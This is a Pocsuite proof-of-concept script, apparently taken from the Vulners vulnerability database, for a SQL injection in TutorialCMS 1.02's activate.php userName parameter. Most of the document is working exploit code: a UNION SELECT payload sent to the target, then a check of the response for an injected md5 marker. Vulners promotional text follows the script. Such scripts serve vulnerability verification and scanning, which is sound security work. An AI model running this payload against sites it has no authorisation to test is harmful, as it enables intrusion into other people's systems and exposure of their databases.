#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re
class TestPOC(POCBase):
vulID = 'SSV-7841' # vul ID
version = '1'
author = ['hh']
vulDate = '2008-01-12'
createDate = '2015-10-22'
updateDate = '2015-10-22'
references = ['https://www.exploit-db.com/exploits/4901/']
name = 'TutorialCMS 1.02 (userName) Remote SQL Injection Vulnerability'
appPowerLink = 'http://www.wavelinkmedia.com/scripts/tutorialcms/'
appName = 'TutorialCMS'
appVersion = '1.02'
vulType = 'SQL Injection'
desc = '''
TutorialCMS(又称Photoshop Tutorials)的脚本activate.PHP中存在SQL注入漏洞。
在magic_quotes_gpc无效时,会允许远程攻击者经由username参数,执行任意SQL命令。
'''
# the sample sites for examine
samples = ['']
def _verify(self):
result = {}
payload = "/activate.php?userName='/**/union/**/select/**/1,2,3,4,CONCAT(0x7165696a71,CAST(md5(3.1415) AS CHAR),0x20),6,7,8,9,9,9,9,9/*"
response = req.get(self.url + payload, headers=self.headers, timeout=10)
content = response.content
match = re.search('qeijq63e1f04640e83605c1d177544a5a0488',content)
#拼接一个特殊字符串,验证concat和md5函数是否成功执行
if match:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url + payload
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet Nothing returned')
return output
register(TestPOC)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation